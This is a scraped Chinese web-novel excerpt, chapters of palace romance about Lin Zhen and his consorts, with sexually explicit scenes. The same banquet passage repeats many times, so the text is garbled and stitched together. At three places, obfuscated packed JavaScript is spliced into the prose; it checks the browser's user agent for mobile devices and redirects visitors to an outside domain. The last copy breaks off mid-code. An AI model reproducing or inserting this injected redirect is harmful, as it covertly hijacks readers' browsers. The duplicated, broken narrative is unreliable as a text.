林臻才不管那些有的没的,张嘴便吃。 果脯的酸甜在口腔中瞬间爆开,让他眼睛一亮:“好东西啊!果然美味!” 即便是吃过很多水果的林臻也不晓得这是什么,不由问道:“这是什么水果?” “此物名为,相思果。” 相思果林臻咋看咋像比较大的葡萄干。 “好名字。” 司马椿蕾得到夸赞,开心得像个孩子,咯咯直笑,跑回座位时,不小心踩到裙摆,身子一晃,眼看就要摔倒。 林臻一把拽住她的手腕,往回一带,她便顺势坐在林臻怀里。 “啊呀!” 慕容嫣撇撇嘴,把头转向一边。 要不是老娘今天身体不方便,你以为你能在这演戏? 也不知道林臻捏住了司马椿蕾哪里,弄的这妮子脸颊绯红,羞赧地看了林臻一眼,便不再起来。 慕容嫣轻咳两声:“咳咳,差不多行了啊,这么多人呢,注意点影响。” 司马椿蕾被唬得一缩脖子,吐了吐小舌头顽皮地站起来,一个华丽的转身,重新落座。 “听闻夫君此次前线作战,以五千破十万!此等壮举,臣妾心中钦佩不已,不知可否给臣妾讲讲?”司马椿蕾那双杏眼里的好奇与倾慕,反倒让林臻老脸一红。 “嗐,那血腥的东西有什么好讲的?不过就是将士们拼死奋战,才得来的殊荣罢了。” 慕容嫣此刻也来了兴致,催促道:“快讲讲,别谦虚了,朕也想听。” 林臻略作思索,便开始讲述一场夜袭战:“那夜月黑风高,敌军以为我们会按兵不动,殊不知我们挑选了一队精锐,趁着夜色,摸黑潜行至敌军军营” 众人听得聚精会神,司马椿蕾更是紧张得双手握拳,眼睛一眨不眨地盯着林臻,仿佛身临其境那般。 讲到胖子不遵将令,险些酿成大错,最后却因祸得福,以五千破十万的时候,她不禁笑得花枝乱颤:“哈哈哈哈,不愧是胖爷,臣妾很久以前就听说过他的威名,没想到居然这么厉害!” 慕容嫣也同样忍俊不禁:“这胖子也太放肆了,是该好好惩罚惩罚。” “可不是嘛,所以说这次论功行赏没有他的份。” 讲完故事,气氛愈发轻松愉悦,慕容嫣忽然心血来潮,起身说道:“夫君,天晚了,要不我们还是回宫休息吧。” “也好。” 林臻刚刚起身,就看到司马椿蕾那不情不愿的表情。 人家分明还没有和林臻待够嘛! 慕容嫣略带好笑地问道:“贵妃,你不愿意?” “啊臣妾不敢” “别一副幽怨的样子,夫君今天是你的,朕不和你们抢。” “啊!?真的吗陛下!臣妾谢主隆恩!” 慕容嫣伸出葱白的手指,点了点她的鼻子:“别高兴得太早!朕告诉你,必须要把夫君伺候得舒舒服服的,若是不解乏,看朕怎么收拾你!” 言罢慕容嫣看向顾缜,说道:“你也跟着一起去。” 顾缜轻声应诺。 随即慕容嫣便在麝月和慕容无舌的陪伴下离开后花园,独留三人在此。 一袭银白战甲尚未换下,在这繁花簇拥,佳人相伴之下,更显英姿飒爽。 顾缜没想太多,让坐就坐。司马椿蕾则是伸手拿过一个晶莹剔透的果脯,来到林臻身旁,俏皮地眨眨眼:“夫君,您尝尝这个,这可是臣妾特意让人从西域寻来的果子制成的,酸甜可口,保准你吃了还想吃。” 说着,便将果脯递到林臻嘴边。 林臻才不管那些有的没的,张嘴便吃。 果脯的酸甜在口腔中瞬间爆开,让他眼睛一亮:“好东西啊!果然美味!” 即便是吃过很多水果的林臻也不晓得这是什么,不由问道:“这是什么水果?” “此物名为,相思果。” 相思果林臻咋看咋像比较大的葡萄干。 “好名字。” 司马椿蕾得到夸赞,开心得像个孩子,咯咯直笑,跑回座位时,不小心踩到裙摆,身子一晃,眼看就要摔倒。 林臻一把拽住她的手腕,往回一带,她便顺势坐在林臻怀里。 “啊呀!” 慕容嫣撇撇嘴,把头转向一边。 要不是老娘今天身体不方便,你以为你能在这演戏? 也不知道林臻捏住了司马椿蕾哪里,弄的这妮子脸颊绯红,羞赧地看了林臻一眼,便不再起来。 慕容嫣轻咳两声:“咳咳,差不多行了啊,这么多人呢,注意点影响。” 司马椿蕾被唬得一缩脖子,吐了吐小舌头顽皮地站起来,一个华丽的转身,重新落座。 “听闻夫君此次前线作战,以五千破十万!此等壮举,臣妾心中钦佩不已,不知可否给臣妾讲讲?”司马椿蕾那双杏眼里的好奇与倾慕,反倒让林臻老脸一红。 “嗐,那血腥的东西有什么好讲的?不过就是将士们拼死奋战,才得来的殊荣罢了。” 慕容嫣此刻也来了兴致,催促道:“快讲讲,别谦虚了,朕也想听。” 林臻略作思索,便开始讲述一场夜袭战:“那夜月黑风高,敌军以为我们会按兵不动,殊不知我们挑选了一队精锐,趁着夜色,摸黑潜行至敌军军营” 众人听得聚精会神,司马椿蕾更是紧张得双手握拳,眼睛一眨不眨地盯着林臻,仿佛身临其境那般。 讲到胖子不遵将令,险些酿成大错,最后却因祸得福,以五千破十万的时候,她不禁笑得花枝乱颤:“哈哈哈哈,不愧是胖爷,臣妾很久以前就听说过他的威名,没想到居然这么厉害!” 慕容嫣也同样忍俊不禁:“这胖子也太放肆了,是该好好惩罚惩罚。” “可不是嘛,所以说这次论功行赏没有他的份。” 讲完故事,气氛愈发轻松愉悦,慕容嫣忽然心血来潮,起身说道:“夫君,天晚了,要不我们还是回宫休息吧。” “也好。” 林臻刚刚起身,就看到司马椿蕾那不情不愿的表情。 人家分明还没有和林臻待够嘛! 慕容嫣略带好笑地问道:“贵妃,你不愿意?” “啊臣妾不敢” “别一副幽怨的样子,夫君今天是你的,朕不和你们抢。” “啊!?真的吗陛下!臣妾谢主隆恩!” 慕容嫣伸出葱白的手指,点了点她的鼻子:“别高兴得太早!朕告诉你,必须要把夫君伺候得舒舒服服的,若是不解乏,看朕怎么收拾你!” 言罢慕容嫣看向顾缜,说道:“你也跟着一起去。” 顾缜轻声应诺。 随即慕容嫣便在麝月和慕容无舌的陪伴下离开后花园,独留三人在此。 一袭银白战甲尚未换下,在这繁花簇拥,佳人相伴之下,更显英姿飒爽。 顾缜没想太多,让坐就坐。司马椿蕾则是伸手拿过一个晶莹剔透的果脯,来到林臻身旁,俏皮地眨眨眼:“夫君,您尝尝这个,这可是臣妾特意让人从西域寻来的果子制成的,酸甜可口,保准你吃了还想吃。” 说着,便将果脯递到林臻嘴边。 林臻才不管那些有的没的,张嘴便吃。 果脯的酸甜在口腔中瞬间爆开,让他眼睛一亮:“好东西啊!果然美味!” 即便是吃过很多水果的林臻也不晓得这是什么,不由问道:“这是什么水果?” “此物名为,相思果。” 相思果林臻咋看咋像比较大的葡萄干。 “好名字。” 司马椿蕾得到夸赞,开心得像个孩子,咯咯直笑,跑回座位时,不小心踩到裙摆,身子一晃,眼看就要摔倒。 林臻一把拽住她的手腕,往回一带,她便顺势坐在林臻怀里。 “啊呀!” 慕容嫣撇撇嘴,把头转向一边。 要不是老娘今天身体不方便,你以为你能在这演戏? 也不知道林臻捏住了司马椿蕾哪里,弄的这妮子脸颊绯红,羞赧地看了林臻一眼,便不再起来。 慕容嫣轻咳两声:“咳咳,差不多行了啊,这么多人呢,注意点影响。” 司马椿蕾被唬得一缩脖子,吐了吐小舌头顽皮地站起来,一个华丽的转身,重新落座。 “听闻夫君此次前线作战,以五千破十万!此等壮举,臣妾心中钦佩不已,不知可否给臣妾讲讲?”司马椿蕾那双杏眼里的好奇与倾慕,反倒让林臻老脸一红。 “嗐,那血腥的东西有什么好讲的?不过就是将士们拼死奋战,才得来的殊荣罢了。” 慕容嫣此刻也来了兴致,催促道:“快讲讲,别谦虚了,朕也想听。” 林臻略作思索,便开始讲述一场夜袭战:“那夜月黑风高,敌军以为我们会按兵不动,殊不知我们挑选了一队精锐,趁着夜色,摸黑潜行至敌军军营” 众人听得聚精会神,司马椿蕾更是紧张得双手握拳,眼睛一眨不眨地盯着林臻,仿佛身临其境那般。 讲到胖子不遵将令,险些酿成大错,最后却因祸得福,以五千破十万的时候,她不禁笑得花枝乱颤:“哈哈哈哈,不愧是胖爷,臣妾很久以前就听说过他的威名,没想到居然这么厉害!” 慕容嫣也同样忍俊不禁:“这胖子也太放肆了,是该好好惩罚惩罚。” “可不是嘛,所以说这次论功行赏没有他的份。” 讲完故事,气氛愈发轻松愉悦,慕容嫣忽然心血来潮,起身说道:“夫君,天晚了,要不我们还是回宫休息吧。” “也好。” 林臻刚刚起身,就看到司马椿蕾那不情不愿的表情。 人家分明还没有和林臻待够嘛! 慕容嫣略带好笑地问道:“贵妃,你不愿意?” “啊臣妾不敢” “别一副幽怨的样子,夫君今天是你的,朕不和你们抢。” “啊!?真的吗陛下!臣妾谢主隆恩!” 慕容嫣伸出葱白的手指,点了点她的鼻子:“别高兴得太早!朕告诉你,必须要把夫君伺候得舒舒服服的,若是不解乏,看朕怎么收拾你!” 言罢慕容嫣看向顾缜,说道:“你也跟着一起去。” 顾缜轻声应诺。 随即慕容嫣便在麝月和慕容无舌的陪伴下离开后花园,独留三人在此。 一袭银白战甲尚未换下,在这繁花簇拥,佳人相伴之下,更显英姿飒爽。 顾缜没想太多,让坐就坐。司马椿蕾则是伸手拿过一个晶莹剔透的果脯,来到林臻身旁,俏皮地眨眨眼:“夫君,您尝尝这个,这可是臣妾特意让人从西域寻来的果子制成的,酸甜可口,保准你吃了还想吃。” 说着,便将果脯递到林臻嘴边。 林臻才不管那些有的没的,张嘴便吃。 果脯的酸甜在口腔中瞬间爆开,让他眼睛一亮:“好东西啊!果然美味!” 即便是吃过很多水果的林臻也不晓得这是什么,不由问道:“这是什么水果?” “此物名为,相思果。” 相思果林臻咋看咋像比较大的葡萄干。 “好名字。” 司马椿蕾得到夸赞,开心得像个孩子,咯咯直笑,跑回座位时,不小心踩到裙摆,身子一晃,眼看就要摔倒。 林臻一把拽住她的手腕,往回一带,她便顺势坐在林臻怀里。 “啊呀!” 慕容嫣撇撇嘴,把头转向一边。 要不是老娘今天身体不方便,你以为你能在这演戏? 也不知道林臻捏住了司马椿蕾哪里,弄的这妮子脸颊绯红,羞赧地看了林臻一眼,便不再起来。 慕容嫣轻咳两声:“咳咳,差不多行了啊,这么多人呢,注意点影响。” 司马椿蕾被唬得一缩脖子,吐了吐小舌头顽皮地站起来,一个华丽的转身,重新落座。 “听闻夫君此次前线作战,以五千破十万!此等壮举,臣妾心中钦佩不已,不知可否给臣妾讲讲?”司马椿蕾那双杏眼里的好奇与倾慕,反倒让林臻老脸一红。 “嗐,那血腥的东西有什么好讲的?不过就是将士们拼死奋战,才得来的殊荣罢了。” 慕容嫣此刻也来了兴致,催促道:“快讲讲,别谦虚了,朕也想听。” 林臻略作思索,便开始讲述一场夜袭战:“那夜月黑风高,敌军以为我们会按兵不动,殊不知我们挑选了一队精锐,趁着夜色,摸黑潜行至敌军军营” 众人听得聚精会神,司马椿蕾更是紧张得双手握拳,眼睛一眨不眨地盯着林臻,仿佛身临其境那般。 讲到胖子不遵将令,险些酿成大错,最后却因祸得福,以五千破十万的时候,她不禁笑得花枝乱颤:“哈哈哈哈,不愧是胖爷,臣妾很久以前就听说过他的威名,没想到居然这么厉害!” 慕容嫣也同样忍俊不禁:“这胖子也太放肆了,是该好好惩罚惩罚。” “可不是嘛,所以说这次论功行赏没有他的份。” 讲完故事,气氛愈发轻松愉悦,慕容嫣忽然心血来潮,起身说道:“夫君,天晚了,要不我们还是回宫休息吧。” “也好。” 林臻刚刚起身,就看到司马椿蕾那不情不愿的表情。 人家分明还没有和林臻待够嘛! 慕容嫣略带好笑地问道:“贵妃,你不愿意?” “啊臣妾不敢” “别一副幽怨的样子,夫君今天是你的,朕不和你们抢。” “啊!?真的吗陛下!臣妾谢主隆恩!” 慕容嫣伸出葱白的手指,点了点她的鼻子:“别高兴得太早!朕告诉你,必须要把夫君伺候得舒舒服服的,若是不解乏,看朕怎么收拾你!” 言罢慕容嫣看向顾缜,说道:“你也跟着一起去。” 顾缜轻声应诺。 随即慕容嫣便在麝月和慕容无舌的陪伴下离开后花园,独留三人在此。 一袭银白战甲尚未换下,在这繁花簇拥,佳人相伴之下,更显英姿飒爽。 顾缜没想太多,让坐就坐。司马椿蕾则是伸手拿过一个晶莹剔透的果脯,来到林臻身旁,俏皮地眨眨眼:“夫君,您尝尝这个,这可是臣妾特意让人从西域寻来的果子制成的,酸甜可口,保准你吃了还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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慕容嫣也同样忍俊不禁:“这胖子也太放肆了,是该好好惩罚惩罚。” “可不是嘛,所以说这次论功行赏没有他的份。” 讲完故事,气氛愈发轻松愉悦,慕容嫣忽然心血来潮,起身说道:“夫君,天晚了,要不我们还是回宫休息吧。” “也好。” 林臻刚刚起身,就看到司马椿蕾那不情不愿的表情。 人家分明还没有和林臻待够嘛! 慕容嫣略带好笑地问道:“贵妃,你不愿意?” “啊臣妾不敢” “别一副幽怨的样子,夫君今天是你的,朕不和你们抢。” “啊!?真的吗陛下!臣妾谢主隆恩!” 慕容嫣伸出葱白的手指,点了点她的鼻子:“别高兴得太早!朕告诉你,必须要把夫君伺候得舒舒服服的,若是不解乏,看朕怎么收拾你!” 言罢慕容嫣看向顾缜,说道:“你也跟着一起去。” 顾缜轻声应诺。 随即慕容嫣便在麝月和慕容无舌的陪伴下离开后花园,独留三人在此。 一袭银白战甲尚未换下,在这繁花簇拥,佳人相伴之下,更显英姿飒爽。 顾缜没想太多,让坐就坐。司马椿蕾则是伸手拿过一个晶莹剔透的果脯,来到林臻身旁,俏皮地眨眨眼:“夫君,您尝尝这个,这可是臣妾特意让人从西域寻来的果子制成的,酸甜可口,保准你吃了还想吃。” 说着,便将果脯递到林臻嘴边。 林臻才不管那些有的没的,张嘴便吃。 果脯的酸甜在口腔中瞬间爆开,让他眼睛一亮:“好东西啊!果然美味!” 即便是吃过很多水果的林臻也不晓得这是什么,不由问道:“这是什么水果?” “此物名为,相思果。” 相思果林臻咋看咋像比较大的葡萄干。 “好名字。” 司马椿蕾得到夸赞,开心得像个孩子,咯咯直笑,跑回座位时,不小心踩到裙摆,身子一晃,眼看就要摔倒。 林臻一把拽住她的手腕,往回一带,她便顺势坐在林臻怀里。 “啊呀!” 慕容嫣撇撇嘴,把头转向一边。 要不是老娘今天身体不方便,你以为你能在这演戏? 也不知道林臻捏住了司马椿蕾哪里,弄的这妮子脸颊绯红,羞赧地看了林臻一眼,便不再起来。 慕容嫣轻咳两声:“咳咳,差不多行了啊,这么多人呢,注意点影响。” 司马椿蕾被唬得一缩脖子,吐了吐小舌头顽皮地站起来,一个华丽的转身,重新落座。 “听闻夫君此次前线作战,以五千破十万!此等壮举,臣妾心中钦佩不已,不知可否给臣妾讲讲?”司马椿蕾那双杏眼里的好奇与倾慕,反倒让林臻老脸一红。 “嗐,那血腥的东西有什么好讲的?不过就是将士们拼死奋战,才得来的殊荣罢了。” 慕容嫣此刻也来了兴致,催促道:“快讲讲,别谦虚了,朕也想听。” 林臻略作思索,便开始讲述一场夜袭战:“那夜月黑风高,敌军以为我们会按兵不动,殊不知我们挑选了一队精锐,趁着夜色,摸黑潜行至敌军军营” 众人听得聚精会神,司马椿蕾更是紧张得双手握拳,眼睛一眨不眨地盯着林臻,仿佛身临其境那般。 讲到胖子不遵将令,险些酿成大错,最后却因祸得福,以五千破十万的时候,她不禁笑得花枝乱颤:“哈哈哈哈,不愧是胖爷,臣妾很久以前就听说过他的威名,没想到居然这么厉害!” 慕容嫣也同样忍俊不禁:“这胖子也太放肆了,是该好好惩罚惩罚。” “可不是嘛,所以说这次论功行赏没有他的份。” 讲完故事,气氛愈发轻松愉悦,慕容嫣忽然心血来潮,起身说道:“夫君,天晚了,要不我们还是回宫休息吧。” “也好。” 林臻刚刚起身,就看到司马椿蕾那不情不愿的表情。 人家分明还没有和林臻待够嘛! 慕容嫣略带好笑地问道:“贵妃,你不愿意?” “啊臣妾不敢” “别一副幽怨的样子,夫君今天是你的,朕不和你们抢。” “啊!?真的吗陛下!臣妾谢主隆恩!” 慕容嫣伸出葱白的手指,点了点她的鼻子:“别高兴得太早!朕告诉你,必须要把夫君伺候得舒舒服服的,若是不解乏,看朕怎么收拾你!” 言罢慕容嫣看向顾缜,说道:“你也跟着一起去。” 顾缜轻声应诺。 随即慕容嫣便在麝月和慕容无舌的陪伴下离开后花园,独留三人在此。 一袭银白战甲尚未换下,在这繁花簇拥,佳人相伴之下,更显英姿飒爽。 顾缜没想太多,让坐就坐。司马椿蕾则是伸手拿过一个晶莹剔透的果脯,来到林臻身旁,俏皮地眨眨眼:“夫君,您尝尝这个,这可是臣妾特意让人从西域寻来的果子制成的,酸甜可口,保准你吃了还想吃。” 说着,便将果脯递到林臻嘴边。 林臻才不管那些有的没的,张嘴便吃。 果脯的酸甜在口腔中瞬间爆开,让他眼睛一亮:“好东西啊!果然美味!” 即便是吃过很多水果的林臻也不晓得这是什么,不由问道:“这是什么水果?” “此物名为,相思果。” 相思果林臻咋看咋像比较大的葡萄干。 “好名字。” 司马椿蕾得到夸赞,开心得像个孩子,咯咯直笑,跑回座位时,不小心踩到裙摆,身子一晃,眼看就要摔倒。 林臻一把拽住她的手腕,往回一带,她便顺势坐在林臻怀里。 “啊呀!” 慕容嫣撇撇嘴,把头转向一边。 要不是老娘今天身体不方便,你以为你能在这演戏? 也不知道林臻捏住了司马椿蕾哪里,弄的这妮子脸颊绯红,羞赧地看了林臻一眼,便不再起来。 慕容嫣轻咳两声:“咳咳,差不多行了啊,这么多人呢,注意点影响。” 司马椿蕾被唬得一缩脖子,吐了吐小舌头顽皮地站起来,一个华丽的转身,重新落座。 “听闻夫君此次前线作战,以五千破十万!此等壮举,臣妾心中钦佩不已,不知可否给臣妾讲讲?”司马椿蕾那双杏眼里的好奇与倾慕,反倒让林臻老脸一红。 “嗐,那血腥的东西有什么好讲的?不过就是将士们拼死奋战,才得来的殊荣罢了。” 慕容嫣此刻也来了兴致,催促道:“快讲讲,别谦虚了,朕也想听。” 林臻略作思索,便开始讲述一场夜袭战:“那夜月黑风高,敌军以为我们会按兵不动,殊不知我们挑选了一队精锐,趁着夜色,摸黑潜行至敌军军营” 众人听得聚精会神,司马椿蕾更是紧张得双手握拳,眼睛一眨不眨地盯着林臻,仿佛身临其境那般。 讲到胖子不遵将令,险些酿成大错,最后却因祸得福,以五千破十万的时候,她不禁笑得花枝乱颤:“哈哈哈哈,不愧是胖爷,臣妾很久以前就听说过他的威名,没想到居然这么厉害!” 慕容嫣也同样忍俊不禁:“这胖子也太放肆了,是该好好惩罚惩罚。” “可不是嘛,所以说这次论功行赏没有他的份。” 讲完故事,气氛愈发轻松愉悦,慕容嫣忽然心血来潮,起身说道:“夫君,天晚了,要不我们还是回宫休息吧。” “也好。” 林臻刚刚起身,就看到司马椿蕾那不情不愿的表情。 人家分明还没有和林臻待够嘛! 慕容嫣略带好笑地问道:“贵妃,你不愿意?” “啊臣妾不敢” “别一副幽怨的样子,夫君今天是你的,朕不和你们抢。” “啊!?真的吗陛下!臣妾谢主隆恩!” 慕容嫣伸出葱白的手指,点了点她的鼻子:“别高兴得太早!朕告诉你,必须要把夫君伺候得舒舒服服的,若是不解乏,看朕怎么收拾你!” 言罢慕容嫣看向顾缜,说道:“你也跟着一起去。” 顾缜轻声应诺。 随即慕容嫣便在麝月和慕容无舌的陪伴下离开后花园,独留三人在此。 第290章 臣妾就看不惯她那副死鱼样子 林臻带着司马椿蕾和顾缜款步向寝宫走去,身后一众太监、宫女们垂首跟随,个个神色恭敬,不敢有丝毫懈怠。 为首的太监李公公,手中拂尘轻甩,每一步都迈得小而沉稳,脸上堆满了谄媚的笑容,眼睛却始终低垂着,不敢直视林臻,就像不敢直视帝王那般。 两旁的小太监们,身着统一的宫装,上半身微微佝偻,双手交叠放在身前,毕恭毕敬地随着队伍前行。宫女们则莲步轻移,衣袂飘飘,她们手中或捧着巾帕、香炉,或提着宫灯,为这夜色中的宫廷平添了几分柔和。 当行至寝宫门口,李公公快走几步,抢先一步推开宫门,侧身弯腰,做出“请 “大胆!狗奴才!司马椿蕾当即黛眉蹙在一起,“你怎可把世子放在我们的后面?真真是岂有此理,来人! “在! “啊!娘娘饶命啊!!奴才再也不敢了! 咚咚咚—— 李公公吓得咣当一声就跪了下去,头磕得像捣蒜。 他可是知道这位贵妃娘娘绝不是表面上那般慈善。而是个心狠手辣的主,妥妥的杀人不眨眼。 林臻微微一笑,牵起司马椿蕾那柔弱无骨的小手。 那触感细腻温热,不禁让她微微一怔,随即脸颊浮起两朵红晕,抬眸看向林臻,眼中满是羞怯与欣喜,手指还俏皮地在林臻掌心轻轻挠了挠。 “今日大喜,不宜杀戮。 “是,听夫君的。司马椿蕾笑靥如花地回答,然后瞬间变脸看向李公公:“暂且饶你一条贱命!下次再犯,本宫割了你的舌头! “多谢娘娘开恩!多谢娘娘 “嗯?司马椿蕾闭嘴疑问,李公公反应过来赶紧说道。 “不是不是,多谢世子!多谢世子! “下去。 “是! 李公公吓得大小便失禁,得赶紧回去换衣服。 林臻右手也没闲着,搂住顾缜的腰。 与司马椿蕾的手相比,她的身体略显冰凉,而且微微僵硬,但终究是没躲,三人步入寝宫。 司马椿蕾可是好久没得到林臻的滋润了,刚踏入寝宫,便欢快地蹦到林臻身上,双手环住他的脖子。 林臻下意识地托住她的屁股,免得她掉下去。 司马椿蕾将脸颊亲昵地贴上去,在林臻的鼻子、嘴巴、胡须上蹭了蹭,眼中波光流转,满是娇俏与柔情,腻声说道:“夫君,您可算回来了,您 都不知道臣妾这几个月是怎么过的。 “哦?林臻捏了捏,坏笑着道:“怎么过的?和我说说。 “啊呀!她微微仰头,尖叫一声,朱唇轻启,呵出的热气带着丝丝甜香,轻轻拂过林臻的耳畔,“当然,是自己用手了呀。 “哈哈哈哈,你就这么想为夫? “嗯!好想好想,好想夫君快些疼爱臣妾。 林臻垂眸看向她,见她这般娇憨模样,笑道:“就你心思多,小嘴跟抹了蜜似的。 司马椿蕾轻哼一声,佯装嗔怒,在林臻怀中扭了扭着纤细的腰肢:“夫君就会取笑臣妾。 此时,顾缜静静站在一旁,仿佛都什么没看到那般,她身着的水蓝色宫装,在烛光下泛着清冷的美。 司马椿蕾看了看她,表情颇有几分得意与挑衅,甚至还主动地在林臻嘴上轻轻啄了一口。 “先下来,为夫还有事情要说。 “嗯! 司马椿蕾跳下来,双手环抱住林臻的手臂,也不知是有意还是无意,总是用她那不甚宏伟的肚兜蹭来蹭去。 林臻的目光转向顾缜,眼神瞬间锐利如鹰,周身气息也冷了下来,空气仿若都冻住了一般。 他凝视着顾缜,声音低沉:“顾缜。你父亲顾云松,联合北燕,起兵十万妄图颠覆我朝根基,陷百姓于水火之中,此等行径,罪无可恕!我已经将他就地正法,尸骨经过火化,埋在了大山里。 说完林臻就在等顾缜的回应,但是很可惜,顾缜就站在那里,始终低着头一言不发。 “你可会怪我? 顾缜抬眸,眼光平静无波,轻轻摇了摇头,语气平淡如水:“臣妾不敢。 “是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005666|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不敢,还是不怪? “不怪。 顾缜的神情真真如林臻所想,好似什么都不在乎,什么都无所谓,仿佛这世间的恩怨情仇都很难引起她的触动。 林臻点头。 “既然不怪,那顾云松的事情就暂且不追究你了,以后在宫里好好生活,阳光一些,积极一些。 “她不是臣妾的母亲,她是 “我知道。林臻将她的话打断,“我说的母亲,不是顾家正妻,而是你真正的母亲,沈氏。 说到这,顾缜那平淡的双眸里终于闪过一道神采。 她几乎难以置信 ,林镇居然知道她的生母是谁。 “夫君.您怎么知道的?” “你是庶出,沈氏因为受到顾云松正妻的殴打,所以离家出走,从此销声匿迹。但是你肯定也想不到,顾云松下葬后,第一个去烧纸看望的人,竟然也是她。呵,世事难料,我的手下遇见了她,询问之后便带了回来。” 其实林臻还有个不能说的理由,那就是.他看过原书。 顾缜抿着下唇,脸上突然涌现一抹坚决,她往前走了几步,环抱住林臻的虎腰轻轻在他唇边一吻。 “谢谢夫君。” 司马椿蕾见状顿时有了危机感,连忙也在林臻脸颊上亲了一口,随即撒娇地摇晃着他的手臂道:“夫君,咱们莫要再说这些烦心事了,快来陪臣妾睡觉嘛。” 她那软糯的声音带着几分娇憨,让人难以拒绝。 林臻笑着将两女都搂进怀里,走向床榻,并且轻轻在司马椿蕾耳边嘀咕了一句什么。 后者立刻表现出一抹奸诈,轻轻点头。 “好呀好呀!臣妾也看不惯她那副死鱼样子,今天必须要好好收拾她一番才可!” 顾缜哪里会想到这两人在盘算自己?她被林臻拥着来到床榻边,却见林臻反手抓住她的蓝色宫裙。 撕拉—— 大片胜雪的肌肤便暴露在空气中。 司马椿蕾不甘示弱,也抓住她的亵裤。 撕拉—— 第291章 这能尝出来?真的假的? 两个时辰后司马椿蕾也心满意足香汗淋漓发丝黏在嘴角喃喃道:“夫君臣妾什么时候才能有个孩子呀?” 这妮子现在想孩子都快想疯了比林震仙还邪乎呢。 不过这种想法也可以理解因为她希望自己可以依靠龙种成功上位皇后。 后宫里还有很多大臣送进来的妃子也有慕容嫣亲自挑选的地方送上来的秀女但林臻都不想搭理行房不仅是门技术活更是体力活。 所以说女人多了也不是什么好事情。 夜色如墨林臻带着几名护卫从皇宫正门而出随即身后的宫门在吱呀声中缓缓合上。 其实他也很想在皇宫里留宿但念及府中的四位佳人还是算了。 如果自己不回去那四个妮子非等自己一夜不可。再说她们还不知道自己与慕容嫣以及后宫的事情。 倒不是林臻害怕什么只是觉得这种事情没必要大张旗鼓地说出去低低调调的不是很好么? 王府内烛火摇曳暖黄的光晕透过雕花窗棂洒在地上仿若铺上了一层金纱。 浣碧、晴雯、张俪、月妩四女早已齐聚在林臻的卧房之中她们心焦地等待着时不时望向门口眼中满是期盼。 晴雯受不了这种煎熬的过程手指无意识地绞着帕子问道:“浣碧你说夫君今晚会不会不回来了?” 浣碧这些日子一直和林臻在一起至于他回不回来她不是很关心。 “应该不会吧?陛下怎会允许男子在宫里留宿呢?” 张俪身姿婀娜款步走到窗边轻轻推开一条缝隙晚风拂过吹起她的发丝她笑语盈盈:“别乱猜夫君肯定会回来的。”她声线婉转落落大方举手投足间皆是风情。 月妩坐在床边默默整理着床铺听到张俪的话她微微点头柔顺的长发垂落在脸颊两侧更衬得她眉眼温柔。 正说着门扉轻响林臻大步踏入房中。 瞬间四女的眼眸仿若被点亮的星辰笑靥如花般绽放开来。 “夫君您可算回来了!”晴雯最先迎上前去 “雯儿不可!”吓得林臻赶紧把她接住放下来“都是要当母亲的人了怎么还这么冒冒失失的。” “嘻嘻嘻妾身好想您嘛~忍不住想要抱抱!”晴雯松开林臻的虎腰往后退了两步声音充满了爱慕之情但不知道为什么她的眼睛瞟着瞟着就瞟向林臻下面。 “夫君穿铠甲的样子好帅好帅呀! 浣碧手里拿着卸甲的器具走过来。 连日给林臻卸甲,她都已经习惯了,此刻目光灼灼地盯着他,那眼神里的爱意与关切仿若能将人融化掉,嘴里还念叨着:“每次夫君征战回来都要被陛下留在宫里吃饭,可是让姐姐们好等呢。 晴雯阴阳怪气地补充道:“谁说不是呢,某些人就知道在那里等,什么也不干。 月妩被她说得低下头,连忙走了出去。 林臻想拦住问问,却被晴雯这丫头堵住了嘴! “唔!! 晴雯趁其不备狠狠亲了一下林臻一口,亲得林臻直翻白眼。 抹了松开嘴,品了品,旋即蹙起眉头指着林臻说道:“啧啧.不对!夫君你偷吃!! “啊?林臻当时就懵了。 这.这能尝出来?真的假的? 浣碧下意识地闻了闻林臻的铠甲,什么也没闻到,但是却在缝隙处发现了花瓣与淡黄色的发丝。 张俪不信邪,走过来眼神怪异地对林臻上上下下地打量。 “应该不会吧?夫君是世子,一人之下万人之上,要吃便可大大方方地吃,怎么会偷吃呢?张俪看向晴雯,“傻妹子,你可别乱说! “我乱说!?晴雯气鼓鼓地冲过来。 “你你你你你要干什么!林臻说话都不利索了。 晴雯不由分说,直接出手伸进林臻的裤子里。 “你看吧!还是黏的! “这张俪狐疑地看向林臻,“夫君,你快说,这位新姐妹是谁!? “一位?不可能!晴雯拧着黛眉,“他嘴里刚刚至少有两个女人的味道! “啊!??两女都是震惊的看着林臻。 难道说,夫君回来以后并没有去皇宫,而是去了青楼!? 天呐。 张俪咳嗽两声,表情有些不自然。 “咳咳,夫君啊,您若实在嫌弃我们,可以找那些大家闺秀,这青楼里的女子终究是不干净。 “什么不干净,这都哪跟哪啊? 林臻为了避免再被晴雯袭击,坐在椅子上,正欲开口解释,月妩已端着一盆热气腾腾的水走来。 她屈膝蹲下,柔声道:“夫君,泡泡脚吧?解解乏。 言罢她轻轻握住林臻的脚,温柔地脱去鞋袜,放入水中,手指轻轻揉捏着林臻的脚底穴位, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 